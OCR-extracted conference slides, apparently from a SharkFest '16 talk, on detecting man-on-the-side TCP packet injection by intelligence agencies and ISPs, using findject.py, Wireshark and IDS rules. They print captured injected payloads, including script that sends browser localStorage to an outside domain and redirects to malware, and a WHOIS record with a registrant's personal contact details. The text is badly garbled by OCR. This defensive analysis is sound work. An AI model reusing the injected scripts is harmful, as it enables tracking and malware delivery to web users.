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Belgacom Attack
Britain's GCHQ Hacked Belgian Telecoms Firm

[...]

According to the slides in the GCHQ presentation, the attack was directed at
several Belgacom employees and involved the planting of a highly developed
attack technology referred to as a "Quantum Insert" ("QI"). It appears to be a
method with which the person being targeted, without their knowledge, is
redirected to websites that then plant malware on their computers that can then
manipulate them.

Source: http://www.spiegel.de/international/europe/british-spy-agency-gchq-hacked-belgian-telecoms-firm-a-923406.html/
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erik@server:~/NETRESEC/findject$ python findject.py /nsm/pcap/live/*

[...]
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erik@server:~/NETRESEC/findject$ python findject.py /nsm/pcap/live/*

[...]

opening /nsm/pcap/live/ppp©.150923 083317.000.pcap

PACKET INJECTION 42.96.141.35:80-192.168.1.254:59320 SEQ : 402877220

FIRST :

"HTTP/1.1 403 Forbidden\r\nServer: Beaver\r\nCache-Control: no-cache\r\nContent-Type:
text/html\r\nContent-Length: 594\r\nConnection: close\r\n\r\n<html>\n<head>\n<meta http-equiv="Content-
Type" content="textml;charset=UTF-8" />\n <style>body{background-color:#FFFFFF}</style>
\n<title>TestPage</title>\n <script language="javascript" type="text/javascript">\n window.onload
= function () { \n document.getElementById("mainFrame").src=
"http://batit.aliyun.com/alww.html"; \n F\n</script> \n</head>\n <body>\n <iframe
style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;"
id="mainFrame" src="" frameborder="0" scrolling="no"></iframe>\n </body>\n </html>\n\n'

LAST

"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 207\r\nConnection:
close\r\n\r\n<html><head><meta http-equiv="refresh" content="1; url=\'http://idl.cn/rd.s/ZX100MDwWNmz6UbGP?
url=http://idl.cn/a/12345\"'"><1link rel="shortcut icon" href="data:image/x-icon;," type="image/x-
icon"></head></html>"

opening /nsm/pcap/live/ppp0.150923 115034.001.pcap - no injections
opening /nsm/pcap/live/ppp©.150924 071617.000.pcap - no injections
opening /nsm/pcap/live/ppp©.150924 071618.000.pcap - no injections
opening /nsm/pcap/live/ppp0.150924 071623.000.pcap - no injections
opening /nsm/pcap/live/ppp©.150924 072430.000.pcap - no injections
opening /nsm/pcap/live/ppp@.150924 072858.000.pcap - no injections
opening /nsm/pcap/live/ppp©.150924 073320.000.pcap - no injections
opening /nsm/pcap/live/ppp0.150924 074438.000.pcap - no injections
opening /nsm/pcap/live/ppp©.150924 075513.000.pcap - no injections



erik@server:~/NETRESEC/findject$ python findject.py /nsm/pcap/live/*
[...] .
opening /nsm/pcap/live/ppp©.150923 083317.000.pcap Respon_se 1:

PACKET INJECTION 42.96.141.35:80-192.168.1.254:59320 SEQ : 402877220 403 Forbidden

'"HTTP/1.1 403 Forbidden\r\nServer: Beaver\r\nCache-Control: no-cache\r\nContent-Type:
ext/html\r\nContent-Length: 594\r\nConnection: close\r\n\r\n<html>\n<head>\n<meta http-equiv="Content-
ype" content="textml;charset=UTF-8" />\n <style>body{background-color:#FFFFFF}</style>
n<title>TestPage</title>\n <script language="javascript" type="text/javascript">\n window.onload

function () { \n document.getElementById("mainFrame").src=
"http://batit.aliyun.com/alww.html"; \n I\n</script> \n</head>\n <body>\n <iframe
style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;"

id="mainFrame" src="" frameborder="0" scrolling="no"></iframe>\n </body>\n </html>\n\n"'

"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 207\r\nConnection:
lose\r\n\r\n<html><head><meta http-equiv="refresh" content="1; url=\"'http://idl.cn/rd.s/ZX100MDwWNmz6UbGP?
rl=http://idl.cn/a/12345\"'"><1link rel="shortcut icon" href="data:image/x-icon;," type="image/x-

icon"></head></html>"

opening /nsm/pcap/live/ppp0.150923 115034. injections
opening /nsm/pcap/live/ppp0.150924 071617.000.pcap - no injections Response 2:
opening /nsm/pcap/live/ppp©.150924 071618.000.pcap - no injections 200 OK

opening /nsm/pcap/live/ppp0.150924 071623.000.pcap - no injections
opening /nsm/pcap/live/ppp©.150924 072430.000.pcap - no injections
opening /nsm/pcap/live/ppp@.150924 072858.000.pcap - no injections
opening /nsm/pcap/live/ppp©.150924 073320.000.pcap - no injections
opening /nsm/pcap/live/ppp0.150924 074438.000.pcap - no injections
opening /nsm/pcap/live/ppp©.150924 075513.000.pcap - no injections



(.\ Wireshark Demo: id1-cn.pcapng

* Frame 4 :
* Frame 5 :

* Frame 7 :
* Frame 8 :
* Frame 14 :

See my blog post “Packet‘
http://netres.ec/?b=163
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The client sends GET request to id1.cn

Injected response, redirecting_E_he_cIient to
http://batit.aliyun.conyglw

Another injected respons
The real response a

The client opens th
the site being blo

ith message about

In the Wild":



Wireshark Demo: id1-cn.pcapng

ireshark - Follow tream (tcp.stream e +id1-cn -
Wireshark - Follow TCP 5 (tcp q0) - id1 O X

GET /rd.s/Btc5n4unOP4UrIfE?url=http://idl.cn/ HTTP/1.1 ~
Host: idl.cn

Connection: keep-alive

Accept: text/html,application/xhtml+xml,application/xml;q=08.9,image/webp,*/*;q=0.8

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (X11; Linux x86_64) ApplelebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium,/48.8.2564.116 Chrome/48.8.2564.116 Safari/537.36

Referer: http://idl.en/

Accept-Encoding: gzip, deflate, sdch

Accept-lLanguage: zh-CN,zh;q=08.8

HTTP/1.1 483 Forbidden
Server: Beaver
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 594
Connection: close

<html>
<head:>
<meta http-equiv="Content-Type" content="textml;charset=UTF-8" />
<style>body{background-color:#FFFFFF}</style>
<title>TestPage</title>
<script language="javascript" type="text/javascript”:
window.onload = function () {
document.getElementById( "mainFrame”).src= "http://batit.aliyun.com/alww.html";
}
</script>
</head>
<body>
<iframe style="width:868px; height:588px;position:absolute;margin-left:-438px;margin-top:-258px;top:50%;left:58%;" id="mainFrame"” src="" frameborder="8"
scrolling="no"></iframe>

</body>
</html>
v
1 chisme gyl 1 server pkgfs) 1 tum,
|Enb're conversation {1181 bytes) hd Show data as | ASCII v Stream
Find: | | I Find Mext I

hide Hissheam| | Print || Save as... | | Cloze || Help
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(.‘ Wireshark Demo: id1-cn.pcapng

- TestPage - Mozilla Firefox - + X

/TestPage X\l%l

G—/I@ id1.cn/rd.s/Pfhivy7peNuVMDBE?url=http://id 1.cn/ | & | |Q Search | g | B ¥ & =
1

YR % PSR A T V0]

RE—: RIETEFEXEN  BERHETESR

EEC : RETESEXEN , SUANEASTERETNAMN ;
EE= : SHMIEFIREFETESERBNER  FRAMISEER,
FREARIARTIIE , WMISTFER ERIRTE R R HTRE,

HrESARREES % ; WEEEREMEAES,

BESE!

FEESERERT




.\ id1l.cn

* I was watching Yun Zheng Hu's
"Detecting Quantum Insert” from

BroCon 2015 ',—’."

You-

Detecting Quantum Insert Attacks using Bro by Yun
Zheng Hu

@ The Bro Platform

B Subscribe .
b 2,206 views
+ saste

A Share sse More l‘ 14 ,l

Published on Sep 5, 2015

The Security Research Team at Fox-IT researched and published the detection of Quantum Insert. In this
talk Yun explains what Quantum Insert Is and how we used and improved Bro-IDS to detect these type of
attacks
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(.‘ Man-in-the-Middle vs. Man-on-the-Side

* Man-in-the-Middle (MITM)
* The attacker can read, modify-er

packets sent between

7~

other participants. /

* Man-on-the-Side (MOT

* The attacker can read t
not to modify or delet

ert new packets, but
other participants.

* The attacker relies @
the response he
before the legitimate response.

antage to make sure that
st of a victim arrives
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(.\ Man-in-the-Middle vs. Man-on-the-Side

Injection Tap

Injection Taps

Injection Taps enable packets such as TCP resets to be injected from the monitoring server

back through the network ports. The tap injection function can be remotely controlled



(.\ Packet Injection by ISPs [Comcast]

In 2007 Robb Topolsk| notlced that his ISP
(Comcast) was inj ckets into his

“The interruption is acco
forged TCP packet (corr
numbering) with the
obeyed by the netwggk
drops the connecti

nding a perfectly
nd sequence

et. This packet is
erating system which

Source: http://www.dslreports.com/forum/r18323368-Co is-using-Sandvine-to-manage-P2P-Connections
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Comcast goes RST “pew pew”
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(.\ Packet Injection by ISPs [Comcast]

ars TECHNICA

Comcast settles P2P throttling class-
action for $16 million

Comcast got itself in hot water when it decided to use reset packets to slow ...

JACQUI CHENG - 12/22/2009, 10:22 PM

¥
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Packet Injection by ISPs [China]

cam(54190) - china(http) [SYN]

china(http) » cam(54190) [SYN, ACK] TTL=39

cam(54190) - china(http) [ACK]

cam(54190) - china(http) GET /?falun HTTP/1.0<cr><1f><cr><1f>
china(http) - cam(54190) [RST] TTL=47, seqg=1, ack=1
china(http) » cam(54190) [RST] TTL=47, seq=1461, ack=1
china(http) » cam(54190) [RST] TTL=47, seq=4381, ack=1
china(http) » cam(54190) HTTP/1.1 200 OK (text/html)<cr><1lf> etc.
cam(54190) - china(http) [RST] TTL=64, seq=25, ack zeroed
china(http) » cam(54190) . . . more of the web page
cam(54190) - china(http) «[RST] TTL=64, seq=25, ack zeroed
china(http) » cam(54190)" [RST] TTL=47, seq=2921, ack=25

Source: https://www.cl.cam.ac.uk/~rncl1/ignoring.pdf
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Packet Injection by ISPs [China]

iptables -A INPUT -p tcp --tcp-flags RST RST -j DROP

Source: https://www.cl.cam.ac.uk/~rncl/ignoring.pdf
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(D TCP Packet Injection [NSA & GCHQ]

Client request _ |GET / HTTP/1.1

-

Host: www.linkedin.com

HTTP/1.1 301 Moved Permanently

Location: https://www.linkedin.com/|Server response ,
Content-Length: ©
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A

TCP Packet Injection [NSA & GCHQ]

CHentrequest_WIGET / HTTP/1.1

= — —smlHost: www.linkedin.com
T|HTTP/1.1 302 Found
'c'r Location: http://malware.com/ Injected response
&| Content-Length: ©
g
TI[HTTP/1.1 301 Moved Permanently
';_Location: https://www.linkedin.com/|Real response I
a|Content-Length: ©
Q
S

&

SharkFest ‘16 Europe e Arnhem, Netherlands e October 17-19, 2016 o #sf16eu



(Q TCP Packet Injection [NSA & GCHQ]

Client request _ |GET / HTTP/1.1

-

HTTP/1.1 302 Found

Location: http://malware.com/

Content-Length: ©

tcp.seq==1 tcp.seq==1

ontent-Length: ©

—amlHost: www.linkedin.com

Injected response

Real response >

&
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Follow TCP Stream (Wireshark)

GET / HTTP/1.1
Host: www.linkedin.com

HTTP/1.1 302 Found
Location: http://malware.com/
Content-Length: ©

ontent-Length: 0
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http://www.linkedin.com/

Victor Julien's Suricata IDS can trigger

- -

an “eventon

apping data
different data”

alert tcp any any -> any any (msg:"SURICATA
STREAM reassembly overlap with different
data"; stream-
event:reassembly overlap different_data;
classtype:protocol-command-decode;
$id:2210050; rev:2;)
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<— Victor released SID
2210050 in 2012

Snowden released the NSA
documents in 2013 —

!". = =3
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TOP SECRET f COMINT

.*I Communications Securlty  Cenlre de la securité
Establishment Canada des talécommunications Canada

[ __1_—, : J— —
Heuristic Example

« QUANTUM

— It's no lie, quantum is cool.
* But its easy to find

— Analyze first content carrying packet
» Check for sequence number duplication, but different data size
+ If content differs within the first 10% of the pkt payload, alert.

Safeguarding Canada's security through information superiority CaIl II‘I
Préserver la sécurité du Canada par la supériorité de ['information a
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(.\ Tools for detecting Man-on-the-Side

* Fox-IT released IDS solutions to detect QUANTUMINSERT

- Patch for Snort's Stream pre-processar.

- Bro policy to check for incogﬁ?st irst packet with payload.

* HoneyBadger - https://github.co

- TCP protocol analysis for ' tion attacks.

* qisniff - https://github.com/zo

- Assembling the stre
packets covering

already received d&tal’

files, and comparing incoming
ments of the stream with the
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https://github.com/david415/HoneyBadger
https://github.com/zond/qisniff

(\ findject.py

3 Shecth

http://www.netres

ge=findject

*Detects packet inj
*Simple python_
*Open source
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“Website-Targeted False Content Injection by Network

Operators”
https://www.usenix.org/conference/usenixsecurityl6/technical-sessions/"p;(_agntatiom‘n'ali'
7
» Monitored traffic of three univegitie S _
. ebsite-Targeted False Content Injection
corporation co et

- more than 75,000 users
- 1.4 petabits of data
- 129 million HTTP se

This paper is included in the Proceedings of the
25th USENIX Security Symposium
August 10-12, 2016 « Austin, TX
SBA 97-1-931971-324

S Open access to the Proceedings of the

25th USENIX Security Symposium
is sponsored by USENDC

Success — they found

- Most of the attacks were coming from
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\

4

User-Agent: Mozilla/5.0 (X11: Ubuntu; Linux x86 €4; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.8,%/*;g=0.8

BAccept-Language: en-US,en:;g=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

IETTP{l _1 1302 Found

haol23-com packet-injection.pcap

%3 Transcript: 192.168.1,254:59360 -> 122.225,98,197:80 TCP HTTP - O X

Client : 192.168.1.254 TCP 59360

Server : 122.22598.157 TCP 80

Start Time :  2016-03-01 08:03:47.560150 UTC  (09:03 GMT=01:00)

End Time :  2016-03-01 08:03:49.495852 UTC  (09:03 GMT+01:00) P‘
Duration :  00:00:01.9357020

Frames : 1 J -
Protocol : HTTP {cerainty: 10.02) -~
Display Frames 100 {#]| Encoding |AsCll | FortSize [10 2]

ET / BTTR/1.1 =
Host: www.02955.com

‘ Wireshark - Fellow TCP Stream (tcp.stream eq 0 - hao123-co.., - 52 |

GET f HTTP/1.1

Host: www.82995.com

User-Agent: Mozilla/5.@ (X11; Ubuntuj Linux x86_64; rv:41.@)
Gecko/20108181 Firefox/41.8

Accept: text/html,application/xhtml+xml,application/xml;q=2.9,*/
*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 382 Found
Location: http://www.haol23.com/?tn=93883173_s_hao_pg

8:28 GMT

Content-Type: text/html

Last-Modified: Tue, @1 Mar 2816 @7:58:28 GMT
Cache-Control: max-age=186@

Location: http://hac.36@.cn/?src=1lm&ls=n4a2f6f3a0l
Age: B57

X-Cache: HIT from ctzjhzsl

via: 1.8 ctzjhzsl (squid)

Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN"
"http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">

<head>

1 ciiert pkfsh 2 server phsh 1 turm.
EEntire conversation (974 bytes)

~ | Show data as |ASCII

Find: |

Print

iHide this st'eam% l l | Save as... I | Close
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(@ haol23-com_packet-injection.pcap

> hao123 EMMEEFHH- I0EN F—RKELLRSH
] i€ hao123 rANEEAE x \dp |/ D 0smE—RELE.. x\@.

'l.(' | @ www.hao123.com/?tn=93803173_s_hao_pg _'It.(- | @ https://hao.360.cn/?src=lmEls=ndazfsf3a9

T d Sl

hCTO]ZB ] tmv O gE A 3;-315?5:' il N
- N SR
SSO%E}I [i,;:] -/ EE:%S?ELT‘?C R

(1)
Vi ‘_; o =5 M
BaichaE N FE mE EE =% A

] RS NBA HBIRE INEFHEEEEE goajmgs

* XS 4 qqupE 163 O T8
mmE SRR HELE \HES RS DowE 3 E

& BWER B FHEssE D EfB [ 2FaE o, BB
EEE-HE A3

T AEFTEEESRE ESIER . ES ﬁ@g O
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gpwa-gpwa.pcap

M gpwa-qpwa.peap - O *

File Edit View Go Capture Analyze Statistics  Telephony Wireless  Tools  Help

AdE 7@ || DRE Qe2=F &S =EQAQaQH

[i |F\|:||:|I\,n' a display filter ... <Ctrl+/= '] Expression... +

Nao. Time Source Destination Protocol  Length Identification Info [
1 9.2e0808 192.168.88.249 216.116.193.188 TCP 74 @xaleb (42987) 46422 - 88 [S5YN] Seq=@ .. |
2 B.774904 216.116.193.188 192.168.88.249 TCP 62 @x3132 (12594) 88 > 46422 [5YN, ACK] S.
3 B.775817 192.168.88.249 216.116.193.188 TCP 54 Bxavec (42988) 46422 » BB [ACK] Seq=1 ..
4 B.776986 192.168.88.249 216.116.1593.188 HTTP 209 @xa7ed (42989) GET /script/casino-crus..
5°1.777857 192.168.88.249 216.116.193.188 TCP 54 @xaiee (42998) 46422 = B8 [FIN, ACK] 5. I_I
6 1.859521 216.116.193.188 192.168.88.249 TCP 554 @xajed (42989) [TCP segment of a reass..

*> Frame 6: 554 bytes on wire (4432 bits), 554 bytes captured (4432 bits)

> Ethernet II, Src: Routerbo 84:8b:35 (4c:5e:8c:@4:8b:35), Dst: CadmusCo d4:12:45 (85:80:27:d4:12:45)

» Internet Protocol Version &4, Src: 216.116.193.188, Dst: 192.168.88.249

» Transmission Control Protocol, Src Port: 8@ (88), Dst Port: 46422 (46422), Seq: 1, Ack: 156, Len: 588

2000 @8 8@ 27 d4 12 45 4c Se Bc 84 8b 35 @8 88 45 88 ..'..EL" ...5..E. ~

2018 82 1c a7 ed 40 @8 6T 86 ae 1b dB 74 cl bc B a8  ....@.0. ...t....

2828 58 fo @0 58 b5 56 6d ba 43 85 3d 24 f2 39 50 18 X..P.vm. H.=%.9P.

BE38 @81 01 f1 7= @0 @0 48 54 54 58 2f 31 2e 31 26 32 .are. HT TP/1.1 2

@645 3@ 38 20 4F 4b @d @3 43 61 63 68 65 2d 43 6F 62 88 OK..C ache-Con

gese 74 72 of 6c 3a 20 6e 6f 2d 63 61 63 68 65 @d Ba  trol: no -cache..

2062 5@ 72 Bl 67 Bd 61 33 28 6e 6T 2d 63 61 63 68 B5  Pragma: no-cache

2072 2c 6e 6f 2d 63 61 62 68 65 ©d 9a 43 6T 6e 74 B5 sho-cach e..Conte

2030 Ge 74 2d 54 73 7@ 65 3a 20 74 65 78 74 2f 68 74 nt-Type: text/ht

2298 6d 6c 3b 20 63 B8 B 72 73 65 74 3d 75 74 66 2d ml; char set=utf-

0Bat 38 8d @a 43 6T 6e 74 65 6e 74 2d 45 Ge 63 6T B4 8..Conte nt-Encod

28be 69 6e B7 33 20 67 72 69 7O @d Ba 45 78 78 63 V2  ing: gzi p..Expir

BE8cE@ 65 73 3a 20 2d 31 @d @a 56 61 72 79 3a 28 41 B3 es: -l.. Vary: Ac v

O 7  gowa-gpwa || Packets: 7 - Displayed: 7 (100.0%) - Load time: UrU.U” Profile: Default
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gpwa-gpwa.pcap

var i = new Image();
i.src = "http://qgpwa.org/?q=""+
1 = localStorage; [ 4
if ((document.referrer != .location.hostname !=
document.referrer.split('/ 2)) |
c = document.createEle
c.src = 'http://certi pt/' +
document.location.h
document.getElemer

eferrer;

ead')[0].appendChild(c)
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whois gpwa.org

Domain Name: QPWA.ORG

Domain ID: D167672054-LROR

WHOIS Server:

Referral URL: http://www.PublicDomainRegistry.com
Updated Date: 2016-01-26T19:45:31Z

Creation Date: 2013-01-23T14:23:18Z

Registry Expiry Date: 2017-01-23T14:23:18Z
Sponsoring Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com
Sponsoring Registrar IANA ID: 303

Domain Status: clientTransferProhibited https://icann.org/epp#iclientTransferProhibited
Registrant ID: DI 26118341

Registrant Name: Frederic Gurbo

Registrant Organization: N/A

Registrant Street: 18 Jules Michelet St.
Registrant City: Bucharest

Registrant State/Province: Bucuresti

Registrant Postal Code: 010463

Registrant Country: RO

Registrant Phone: +40.212323157

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email: f_gurbo@hush.com

[...]




Q Request for Wireshark Features

* Make sure “tcp.segment. overlap conflict” display
filter matches MOTS attae —

ent with
SIS.

* Add Expert info “over
different data” to SE

* Bug 12855 "Follow
stream data” (pase

shows duplicate
| Mann, Peter Wu)
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M =nortlog.143773.312DC43E peap - O >
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
dEm ;@ EREBRe2=F 5= aqQaqH
[i | apply a display filter ... <Ctrl-/= ~ ] Expression...  +
No, Time Source Destination Protocol  Length Identification Time tolive  Info ~
| 1 8.860000 192.168.88.254 46.43.34.31 TCP 66 @x8bd7 (3831) 128 49441 = 38 [SYN] Seq=@ Win=8192 Len=8 MS5=..
2 B8.387885 46.43.34.31 192.168.88.254 TCP 66 AxBea8 (e) 46 BR -+ 49441 [SYN, ACK] Seq=08 Ack=1 Win=2928..
3 8.388831 192.168.88.254 46.43.34.31 TCP 68 Ax8bdo (3833) 128 49441 = 38 [ACK] Seq=1 Ack=1 Win=65792 Len.
4 9.338879 192.168.88.254 46.43.34.31 HTTP 586 @xBbda (3@34) 128 GET /~sgtatham/putty/latest/x86/putty.exe ..
5 B.392838 46.43.34.31 192.168.88.254 HTTP 197 exeeel (1) 63 HTTP/1.1 383 Found
6 8.393835 192.168.88.254 46.43.34.31 TCP 6@ 8xebdb (3835) 128 49441 = 38 [ACK] Seq=453 Ack=145 Win=65536..
7 8.396323 192.168.88.254 46.43.34.31 TCP 68 @webdc (3935) 123 49441 -+ 88 [FIMJ ACK] 5eq=453 Ack=145 Win=..
8

1.221418 46.43.34.31 192.168.88.254 TER 68 Bx384a (14410 46 80 + 49441 [ACK] Seq=1 Ack=453 Win=36336 L.

11 1.231992 46.43.34.31 192.168.88.254 46 88 + 49441 [FIN, ACK] Seq=564 Ack=454 Win=..

Frame 4: 586 bytes on wire (4848 bits), 586 bytes captured (4843 bits)
Ethernet II, Src: QuantaCo cf:58:49 (@@:26:9e:cf:58:49), Dst: Routerbo 84:8b:35 (4c:5e:8c:84:8b:35)
» Internet Protocol Version 4, Src: 192.168.88.254, Dst: 46.43.34.31
* Transmission Control F‘ro‘tocoi.ll; Src Port: 49441 _(LAIQMS!N)W, Dst Port: 8@ (89)3 SEtl: 1—‘, Ack: 11 Len: 452
e Mo =

4c S5e Bc 84 8b 35 @88 26 9e cf 58 49 83 88 45 66 L~...5.& .. XI_.E. ~

81 ec Bb da 4@ @98 20 86 B3 41 cb ad 58 fe 2e 2b cemafle e LBl X F

22 1f c1 21 88 50 74 a6 1b c8 96 d2 be 59 5@ 13 FREAPEL S b

81 91 el d5 @@ @8 47 45 54 28 2f 7e 73 67 74 61 ...... GE T /~sgta

74 68 61 6d 2f 7@ 75 74 74 79 2f 6c 61 74 65 73 tham/put ty/lates

74 2f 78 38 36 2f 7@ 75 74 74 79 2e 65 78 65 29 t/x86/pu tty.exe v
O 7 snort || Packets: 14 - Displayed: 14 (100.0%) - Load time: 0:0.1” Profile: Default
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Questions?

Tools/PCAPs used in t

or it didn't happen

Wireshark
findject.py

CapLoader gy

Man-on-the-Side PCAPs  http://wWww.netresec.com/?page=PcapFiles


https://www.wireshark.org/
https://www.netresec.com/?page=findject
http://caploader.com/
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